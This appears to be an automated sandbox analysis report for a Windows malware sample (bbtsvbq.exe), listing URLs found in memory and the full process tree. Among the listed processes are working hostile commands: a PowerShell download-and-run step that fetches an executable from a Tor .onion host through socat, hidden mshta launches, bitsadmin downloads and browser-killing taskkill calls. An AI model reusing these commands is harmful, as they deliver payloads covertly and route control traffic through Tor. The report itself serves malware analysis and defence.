Source: powershell.exe | String found in binary or memory: file:// |
Source: powershell.exe | String found in binary or memory: file:/// |
Source: powershell.exe | String found in binary or memory: file:///C:/ProgramData/C4CqRww6.ps1 |
Source: powershell.exe | String found in binary or memory: file:///C:/ProgramData/C4CqRww6.ps1Z( |
Source: mshta.exe | String found in binary or memory: file:///C:/ProgramData/VitBTKxRu/Tor/tor.exe |
Source: mshta.exe | String found in binary or memory: file:///C:/ProgramData/VitBTKxRu/Tor/tor.exeoso |
Source: powershell.exe | String found in binary or memory: file:///C:/Users/user~1/AppData/Local/Temp/2HVmGbfK7qLuRZ/lib/net20/Microsoft.Win32.TaskScheduler. |
Source: powershell.exe | String found in binary or memory: file:///C:/Windows/System32/Wi |
Source: powershell.exe | String found in binary or memory: file:///C:/Windows/System32/WindowsPowerShell/v1.0/ |
Source: powershell.exe | String found in binary or memory: file:///C:/Windows/System32/WindowsPowerShell/v1.0/b |
Source: bbtsvbq.exe | String found in binary or memory: file:///C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe |
Source: bbtsvbq.exe | String found in binary or memory: file:///C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exeP |
Source: bbtsvbq.exe | String found in binary or memory: file:///C:/Windows/System32/cmd.exe |
Source: bbtsvbq.exe | String found in binary or memory: file:///C:/Windows/System32/taskkill.exe |
Source: powershell.exe | String found in binary or memory: file:///C:/Windows/system32/cmd.exe |
Source: powershell.exe | String found in binary or memory: file:///C:/Windows/system32/cmd.exe: |
Source: bbtsvbq.exe, o8NqEAtZ.ps1.1.dr | String found in binary or memory: ftp://coop-mp:klyn65te |
Source: powershell.exe | String found in binary or memory: http:// |
Source: powershell.exe | String found in binary or memory: http://12 |
Source: powershell.exe, user-PC.log.5.dr, unknown.4.dr | String found in binary or memory: http://127.0.0.1:5555 |
Source: powershell.exe, C4CqRww6.ps1.1.dr | String found in binary or memory: http://127.0.0.1:5555/ |
Source: powershell.exe | String found in binary or memory: http://127.0.0.1:5555/0dTRgfA.asp?ts& |
Source: powershell.exe, taskeng.exe, user-PC.log.5.dr, unknown.4.dr | String found in binary or memory: http://127.0.0.1:5555/0dTRgfA.asp?ts&ip= |
Source: taskeng.exe | String found in binary or memory: http://127.0.0.1:5555/0dTRgfA.asp?ts&ip= |
Source: powershell.exe | String found in binary or memory: http://127.0.0.1:5555/0dTp |
Source: bbtsvbq.exe | String found in binary or memory: http://127.0.0.1:5555/kqHogqjb.js?ip=62.210.13.58D |
Source: powershell.exe | String found in binary or memory: http://api. |
Source: powershell.exe, user-PC.log.5.dr, unknown.4.dr | String found in binary or memory: http://api.ipify |
Source: taskeng.exe, user-PC.log.5.dr, C4CqRww6.ps1.1.dr, unknown.4.dr | String found in binary or memory: http://api.ipify.org/ |
Source: bbtsvbq.exe | String found in binary or memory: http://api.ipify.org/.exe |
Source: bbtsvbq.exe | String found in binary or memory: http://api.ipify.org/l |
Source: powershell.exe | String found in binary or memory: http://cacerts.digicer |
Source: powershell.exe | String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2ExtendedValidationServerCA.crt0 |
Source: powershell.exe | String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt0 |
Source: powershell.exe | String found in binary or memory: http://certificates.godaddy.com/repository/0 |
Source: powershell.exe | String found in binary or memory: http://certificates.godaddy.com/repository/gdig2.crt0 |
Source: powershell.exe | String found in binary or memory: http://certs.godaddy.com/repository/1301 |
Source: powershell.exe | String found in binary or memory: http://crl.comodo.net/UTN-USERFirst-Hardware.crl0q |
Source: powershell.exe | String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06 |
Source: powershell.exe | String found in binary or memory: http://crl.entrust.net/2048ca.crl0 |
Source: powershell.exe | String found in binary or memory: http://crl.entrust.net/server1.crl0 |
Source: powershell.exe | String found in binary or memory: http://crl.godaddy.com/gdig2s1-499.crl0 |
Source: powershell.exe | String found in binary or memory: http://crl.godaddy.com/gdroot-g2.crl0F |
Source: powershell.exe | String found in binary or memory: http://crl.godaddy.com/gdroot.crl0F |
Source: powershell.exe | String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 |
Source: powershell.exe | String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0 |
Source: powershell.exe | String found in binary or memory: http://crl.securetrust.com/SGCA.crl0 |
Source: powershell.exe | String found in binary or memory: http://crl.usertrust.com/UTN-USERFirst-Object.crl0) |
Source: powershell.exe | String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0= |
Source: powershell.exe | String found in binary or memory: http://crl3.digicert.com/sha2-ev-server-g1.crl04 |
Source: powershell.exe | String found in binary or memory: http://crl3.digicert.com/sha2-ha-server-g5.crl04 |
Source: powershell.exe | String found in binary or memory: http://crl4.digicert.com |
Source: powershell.exe | String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0= |
Source: powershell.exe | String found in binary or memory: http://crl4.digicert.com/sha2-ev-server-g1.crl0K |
Source: powershell.exe | String found in binary or memory: http://crl4.digicert.com/sha2-ha-server-g5.crl0L |
Source: powershell.exe | String found in binary or memory: http://crl4.digicert.com/sha2-ha-server0 |
Source: powershell.exe | String found in binary or memory: http://crt.comodoca.com/UTNAddTrustServerCA.crt0$ |
Source: powershell.exe | String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab |
Source: powershell.exe | String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enQ |
Source: powershell.exe | String found in binary or memory: http://cybertrust.omniroot.com/repository.cfm0 |
Source: TaskScheduler.nuspec.6.dr | String found in binary or memory: http://download-codeplex.sec.s-msft.com/Download?ProjectName=taskscheduler&DownloadId=885310 |
Source: powershell.exe | String found in binary or memory: http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0 |
Source: powershell.exe | String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignAdvancedSecurityCA.crl0 |
Source: powershell.exe | String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignCA.crl0 |
Source: bbtsvbq.exe | String found in binary or memory: http://icanhazip.com/ |
Source: bbtsvbq.exe | String found in binary or memory: http://icanhazip.com/= |
Source: powershell.exe | String found in binary or memory: http://ocsp.comodoca.com0 |
Source: powershell.exe | String found in binary or memory: http://ocsp.comodoca.com0% |
Source: powershell.exe | String found in binary or memory: http://ocsp.comodoca.com0- |
Source: powershell.exe | String found in binary or memory: http://ocsp.comodoca.com0/ |
Source: powershell.exe | String found in binary or memory: http://ocsp.comodoca.com05 |
Source: powershell.exe | String found in binary or memory: http://ocsp.digicert.com0: |
Source: powershell.exe | String found in binary or memory: http://ocsp.digicert.com0K |
Source: powershell.exe | String found in binary or memory: http://ocsp.digicert.com0M |
Source: powershell.exe | String found in binary or memory: http://ocsp.digicert.com0R |
Source: powershell.exe | String found in binary or memory: http://ocsp.entrust.net03 |
Source: powershell.exe | String found in binary or memory: http://ocsp.entrust.net0D |
Source: powershell.exe | String found in binary or memory: http://ocsp.godaddy.com/0 |
Source: powershell.exe | String found in binary or memory: http://ocsp.godaddy.com/02 |
Source: powershell.exe | String found in binary or memory: http://ocsp.godaddy.com/05 |
Source: powershell.exe | String found in binary or memory: http://ocsp.infonotary.com/responder.cgi0V |
Source: powershell.exe | String found in binary or memory: http://ocsp.msocsp.com0 |
Source: README.15.dr | String found in binary or memory: http://repo.or.cz/r/socat.git |
Source: powershell.exe | String found in binary or memory: http://schem |
Source: powershell.exe | String found in binary or memory: http://schemas.dmtf.org/wbem/wsman/1/cimbinding/associationFilter |
Source: powershell.exe | String found in binary or memory: http://schemas.dmtf.org/wbem/wsman/1/wsman/SelectorFilter |
Source: powershell.exe | String found in binary or memory: http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd#IdentifyResponse |
Source: powershell.exe | String found in binary or memory: http://schemas.m |
Source: powershell.exe | String found in binary or memory: http://st |
Source: TaskScheduler.nuspec.6.dr | String found in binary or memory: http://taskscheduler.codeplex.com/ |
Source: TaskScheduler.nuspec.6.dr | String found in binary or memory: http://taskscheduler.codeplex.com/license |
Source: powershell.exe | String found in binary or memory: http://www.acabogacia.org/doc0 |
Source: powershell.exe | String found in binary or memory: http://www.acabogacia.org0 |
Source: powershell.exe | String found in binary or memory: http://www.comsign.co.il/cps0 |
Source: FAQ.15.dr | String found in binary or memory: http://www.cygwin.com/ |
Source: README.15.dr, README.md.15.dr | String found in binary or memory: http://www.dest-unreach.org/socat/ |
Source: powershell.exe | String found in binary or memory: http://www.digicert.com.my/cps.htm02 |
Source: powershell.exe | String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0 |
Source: tor.exe | String found in binary or memory: http://www.openssl.org/V |
Source: tor.exe | String found in binary or memory: http://www.openssl.org/support/faq.html |
Source: tor.exe | String found in binary or memory: http://www.openssl.org/support/faq.htmlRAND |
Source: powershell.exe | String found in binary or memory: http://www.public-trust.com/CPS/OmniRoot.html0 |
Source: powershell.exe | String found in binary or memory: http://www.public-trust.com/cgi-bin/CRL/2018/cdp.crl0 |
Source: powershell.exe | String found in binary or memory: http://www.usertrust.com1 |
Source: README.15.dr | String found in binary or memory: http://www.xs4all.nl/~jantien/yodl/) |
Source: tor.exe, zlib1.dll.10.dr | String found in binary or memory: http://www.zlib.net/D |
Source: README.15.dr | String found in binary or memory: http://yodl.sourceforge.net/ |
Source: powershell.exe | String found in binary or memory: https://api.github.com/_private/browser/errors |
Source: powershell.exe | String found in binary or memory: https://api.nuget.org |
Source: powershell.exe, user-PC.log.5.dr, C4CqRww6.ps1.1.dr, unknown.4.dr | String found in binary or memory: https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg |
Source: powershell.exe | String found in binary or memory: https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg8 |
Source: powershell.exe | String found in binary or memory: https://certs.godaddy.com/repository/0 |
Source: powershell.exe, C4CqRww6.ps1.1.dr | String found in binary or memory: https://chocolatey.org/7za.exe |
Source: powershell.exe | String found in binary or memory: https://chocolatey.org/7za.exe8 |
Source: powershell.exe | String found in binary or memory: https://chocolatey.orgx& |
Source: powershell.exe | String found in binary or memory: https://codeload.github.com/StudioEtrange/socat-windows/zip/1.7.2.1 |
Source: powershell.exe | String found in binary or memory: https://codeload.github.comx& |
Source: bbtsvbq.exe, powershell.exe, C4CqRww6.ps1.1.dr | String found in binary or memory: https://dist.torproject.org/ |
Source: powershell.exe | String found in binary or memory: https://dist.torproject.org/8 |
Source: user-PC.log.5.dr, unknown.4.dr | String found in binary or memory: https://dist.torproject.org/torbrowser/7.0.8/tor-win32-0.3.1.7.zip |
Source: powershell.exe | String found in binary or memory: https://dist.torproject.org/torbrowser/7.0.8/tor-win32-0.3.1.7.zipTt |
Source: powershell.exe | String found in binary or memory: https://dist.torproject.orgx& |
Source: bbtsvbq.exe | String found in binary or memory: https://github.com/StudioEtrange/socat-w |
Source: powershell.exe, find.exe, user-PC.log.5.dr, C4CqRww6.ps1.1.dr, unknown.4.dr | String found in binary or memory: https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip |
Source: powershell.exe | String found in binary or memory: https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip8 |
Source: powershell.exe | String found in binary or memory: https://github.comx& |
Source: powershell.exe | String found in binary or memory: https://render.githubusercontent.com |
Source: powershell.exe | String found in binary or memory: https://secure.comodo.com/CPS0 |
Source: powershell.exe, Microsoft.Win32.TaskScheduler.resources.dll2.6.dr, Microsoft.Win32.TaskScheduler.resources.dll10.6.dr, Microsoft.Win32.TaskScheduler.resources.dll9.6.dr, Microsoft.Win32.TaskScheduler.resources.dll14.6.dr, Microsoft.Win32.TaskScheduler.resources.dll7.6.dr, Microsoft.Win32.TaskScheduler.resources.dll3.6.dr, Microsoft.Win32.TaskScheduler.resources.dll0.6.dr, Microsoft.Win32.TaskScheduler.resources.dll13.6.dr, Microsoft.Win32.TaskScheduler.resources.dll5.6.dr, Microsoft.Win32.TaskScheduler.resources.dll6.6.dr, Microsoft.Win32.TaskScheduler.resources.dll17.6.dr, Microsoft.Win32.TaskScheduler.resources.dll15.6.dr, Microsoft.Win32.TaskScheduler.resources.dll16.6.dr, Microsoft.Win32.TaskScheduler.resources.dll.6.dr, Microsoft.Win32.TaskScheduler.resources.dll1.6.dr, Microsoft.Win32.TaskScheduler.resources.dll4.6.dr, Microsoft.Win32.TaskScheduler.resources.dll18.6.dr, Microsoft.Win32.TaskScheduler.resources.dll11.6.dr, Microsoft.Win32.TaskScheduler.resources.dll8.6.dr, Microsoft.Win32.TaskScheduler.resources.dll12.6.dr | String found in binary or memory: https://taskscheduler.codeplex.com/ |
Source: powershell.exe, Microsoft.Win32.TaskScheduler.dll.6.dr, Microsoft.Win32.TaskScheduler.dll2.6.dr, Microsoft.Win32.TaskScheduler.dll1.6.dr | String found in binary or memory: https://taskscheduler.codeplex.com/F |
Source: Microsoft.Win32.TaskScheduler.resources.dll2.6.dr, Microsoft.Win32.TaskScheduler.resources.dll10.6.dr, Microsoft.Win32.TaskScheduler.resources.dll9.6.dr, Microsoft.Win32.TaskScheduler.resources.dll14.6.dr, Microsoft.Win32.TaskScheduler.resources.dll7.6.dr, Microsoft.Win32.TaskScheduler.resources.dll3.6.dr, Microsoft.Win32.TaskScheduler.resources.dll0.6.dr, Microsoft.Win32.TaskScheduler.resources.dll13.6.dr, Microsoft.Win32.TaskScheduler.resources.dll5.6.dr, Microsoft.Win32.TaskScheduler.resources.dll6.6.dr, Microsoft.Win32.TaskScheduler.resources.dll17.6.dr, Microsoft.Win32.TaskScheduler.resources.dll15.6.dr, Microsoft.Win32.TaskScheduler.resources.dll16.6.dr, Microsoft.Win32.TaskScheduler.resources.dll.6.dr, Microsoft.Win32.TaskScheduler.resources.dll1.6.dr, Microsoft.Win32.TaskScheduler.resources.dll4.6.dr, Microsoft.Win32.TaskScheduler.resources.dll18.6.dr, Microsoft.Win32.TaskScheduler.resources.dll11.6.dr, Microsoft.Win32.TaskScheduler.resources.dll8.6.dr, Microsoft.Win32.TaskScheduler.resources.dll12.6.dr | String found in binary or memory: https://taskscheduler.codeplex.com/H |
Source: bbtsvbq.exe, powershell.exe, C4CqRww6.ps1.1.dr | String found in binary or memory: https://tor.ybti.net/dist/ |
Source: powershell.exe | String found in binary or memory: https://tor.ybti.net/dist/8 |
Source: powershell.exe, C4CqRww6.ps1.1.dr | String found in binary or memory: https://torproject.mirror.metalgamer.eu/dist/ |
Source: powershell.exe | String found in binary or memory: https://torproject.mirror.metalgamer.eu/dist/8 |
Source: powershell.exe | String found in binary or memory: https://torproject.urown.net |
Source: powershell.exe, C4CqRww6.ps1.1.dr | String found in binary or memory: https://torproject.urown.net/dist/ |
Source: powershell.exe | String found in binary or memory: https://torproject.urown.net/dist/8 |
Source: bitsadmin.exe, user-PC.log.5.dr, unknown.4.dr | String found in binary or memory: https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip |
Source: cmd.exe, bitsadmin.exe | String found in binary or memory: https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zipC: |
Source: powershell.exe | String found in binary or memory: https://www.digicert.com/CPS0 |
Source: unknown | Process created: C:\Users\user\Desktop\bbtsvbq.exe 'C:\Users\user\Desktop\bbtsvbq.exe' |
Source: unknown | Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\ProgramData\C4CqRww6.ps1' | find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log' |
Source: unknown | Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ep Unrestricted -f 'C:\ProgramData\C4CqRww6.ps1' |
Source: unknown | Process created: C:\Windows\System32\find.exe find /v '' |
Source: unknown | Process created: C:\ProgramData\7za.exe 'C:\ProgramData\7za.exe' x -o'C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ' -y 'C:\Users\user~1\AppData\Local\Temp\QKB6w.zip' |
Source: unknown | Process created: C:\Windows\System32\cmd.exe 'C:\Windows\system32\cmd.exe' /b /c bitsadmin /transfer /download /priority HIGH 'https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip' 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip' |
Source: unknown | Process created: C:\Windows\System32\bitsadmin.exe bitsadmin /transfer /download /priority HIGH 'https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip' 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip' |
Source: unknown | Process created: C:\ProgramData\7za.exe 'C:\ProgramData\7za.exe' x -o'C:\ProgramData\VitBTKxRu' -y 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip' |
Source: unknown | Process created: C:\Windows\System32\taskeng.exe taskeng.exe {7FB8942A-D520-4069-87A1-8D11961A18B0} S-1-5-21-312302014-279660585-3511680526-1005:user-PC\user:Interactive:[1] |
Source: unknown | Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('tor.exe',0,False)) |
Source: unknown | Process created: C:\ProgramData\VitBTKxRu\Tor\tor.exe 'C:\ProgramData\VitBTKxRu\Tor\tor.exe' |
Source: unknown | Process created: C:\ProgramData\7za.exe 'C:\ProgramData\7za.exe' x -o'C:\ProgramData\VitBTKxRu' -y 'C:\Users\user~1\AppData\Local\Temp\sX7raTm2LP.zip' |
Source: unknown | Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('socat tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:80,socksport=9050',0,False)) |
Source: unknown | Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:5588,socksport=9050',0,False)) |
Source: unknown | Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('powershell.exe ''$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.Download'+'String('http://api.ipify.org/'),$F);& $F''',0,False)) |
Source: unknown | Process created: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe 'C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe' tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:5588,socksport=9050 |
Source: unknown | Process created: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe 'C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe' tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:80,socksport=9050 |
Source: unknown | Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' '$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.DownloadString('http://api.ipify.org/'),$F);& $F' |
Source: unknown | Process created: C:\Windows\System32\taskkill.exe 'C:\Windows\System32\taskkill.exe' /F /im iexplore.exe |
Source: unknown | Process created: C:\Windows\System32\taskkill.exe 'C:\Windows\System32\taskkill.exe' /F /im firefox.exe |
Source: unknown | Process created: C:\Windows\System32\taskkill.exe 'C:\Windows\System32\taskkill.exe' /F /im chrome.exe |
Source: unknown | Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1' | find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log' |
Source: unknown | Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1' |
Source: unknown | Process created: C:\Windows\System32\find.exe find /v '' |
Source: unknown | Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe 'C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\9kehql3e.cmdline' |
Source: unknown | Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user~1\AppData\Local\Temp\RES8E7D.tmp' 'c:\Users\user\AppData\Local\Temp\CSC8E0E.tmp' |
Source: unknown | Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\U5f96EAq.ps1' | find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log' |
Source: C:\Users\user\Desktop\bbtsvbq.exe | Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\ProgramData\C4CqRww6.ps1' | find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log' |
Source: C:\Users\user\Desktop\bbtsvbq.exe | Process created: C:\Windows\System32\taskkill.exe 'C:\Windows\System32\taskkill.exe' /F /im iexplore.exe |
Source: C:\Users\user\Desktop\bbtsvbq.exe | Process created: C:\Windows\System32\taskkill.exe 'C:\Windows\System32\taskkill.exe' /F /im firefox.exe |
Source: C:\Users\user\Desktop\bbtsvbq.exe | Process created: C:\Windows\System32\taskkill.exe 'C:\Windows\System32\taskkill.exe' /F /im chrome.exe |
Source: C:\Users\user\Desktop\bbtsvbq.exe | Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1' | find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log' |
Source: C:\Users\user\Desktop\bbtsvbq.exe | Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\U5f96EAq.ps1' | find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log' |
Source: C:\Users\user\Desktop\bbtsvbq.exe | Process created: unknown unknown |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ep Unrestricted -f 'C:\ProgramData\C4CqRww6.ps1' |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /v '' |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process created: C:\ProgramData\7za.exe 'C:\ProgramData\7za.exe' x -o'C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ' -y 'C:\Users\user~1\AppData\Local\Temp\QKB6w.zip' |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process created: C:\Windows\System32\cmd.exe 'C:\Windows\system32\cmd.exe' /b /c bitsadmin /transfer /download /priority HIGH 'https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip' 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip' |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process created: C:\ProgramData\7za.exe 'C:\ProgramData\7za.exe' x -o'C:\ProgramData\VitBTKxRu' -y 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip' |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process created: C:\ProgramData\7za.exe 'C:\ProgramData\7za.exe' x -o'C:\ProgramData\VitBTKxRu' -y 'C:\Users\user~1\AppData\Local\Temp\sX7raTm2LP.zip' |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\bitsadmin.exe bitsadmin /transfer /download /priority HIGH 'https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip' 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip' |
Source: C:\Windows\System32\taskeng.exe | Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('tor.exe',0,False)) |
Source: C:\Windows\System32\taskeng.exe | Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('socat tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:80,socksport=9050',0,False)) |
Source: C:\Windows\System32\taskeng.exe | Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:5588,socksport=9050',0,False)) |
Source: C:\Windows\System32\taskeng.exe | Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('powershell.exe ''$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.Download'+'String('http://api.ipify.org/'),$F);& $F''',0,False)) |
Source: C:\Windows\System32\taskeng.exe | Process created: unknown unknown |
Source: C:\Windows\System32\mshta.exe | Process created: C:\ProgramData\VitBTKxRu\Tor\tor.exe 'C:\ProgramData\VitBTKxRu\Tor\tor.exe' |
Source: C:\Windows\System32\mshta.exe | Process created: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe 'C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe' tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:80,socksport=9050 |
Source: C:\Windows\System32\mshta.exe | Process created: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe 'C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe' tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:5588,socksport=9050 |
Source: C:\Windows\System32\mshta.exe | Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' '$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.DownloadString('http://api.ipify.org/'),$F);& $F' |
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe | Process created: unknown unknown |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1' |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /v '' |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe 'C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\9kehql3e.cmdline' |
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user~1\AppData\Local\Temp\RES8E7D.tmp' 'c:\Users\user\AppData\Local\Temp\CSC8E0E.tmp' |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown |
Source: C:\Users\user\Desktop\bbtsvbq.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\cmd.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\cmd.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\cmd.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\cmd.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\cmd.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\cmd.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process information set: NOOPENFILEERRORBOX |
